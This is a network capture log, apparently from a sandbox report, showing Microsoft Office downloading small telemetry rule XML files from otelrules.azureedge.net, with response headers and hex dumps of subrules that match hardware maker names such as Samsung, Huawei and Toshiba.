2024-11-25 23:08:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 14f5e79a-001e-0014-2864-3d5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230815Z-15b8b599d88m7pn7hC1TEB4axw00000006kg00000000k64h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:16 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 8dcc739e-c01e-0034-371d-3e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230816Z-15b8b599d88pxmdghC1TEBux9c00000006pg00000000ghg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:17 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230817Z-178bfbc474bbbqrhhC1NYCvw7400000008bg000000002ynx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:18 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: ab0897c6-601e-0084-085b-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230817Z-178bfbc474bvjk8shC1NYC83ns00000007v000000000u323 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9a3ed3ee-501e-00a0-41c6-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230818Z-178bfbc474bfw4gbhC1NYCunf4000000083g00000000e9v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 12cef178-a01e-0070-7e6c-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230818Z-174c587ffdfb5q56hC1TEB04kg00000006dg00000000swdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230818Z-178bfbc474bscnbchC1NYCe7eg00000008a0000000007fs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:19 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 279fb768-d01e-00ad-04d6-3ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230820Z-174c587ffdf7t49mhC1TEB4qbg00000006e000000000q2h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:20 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:19 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c86812d3-d01e-005a-35c0-3e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230820Z-178bfbc474bp8mkvhC1NYCzqnn00000007z000000000c0d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230820Z-178bfbc474bwh9gmhC1NYCy3rs00000008a0000000000nax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:19 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230820Z-174c587ffdf59vqchC1TEByk6800000006pg00000000pkzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:20 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
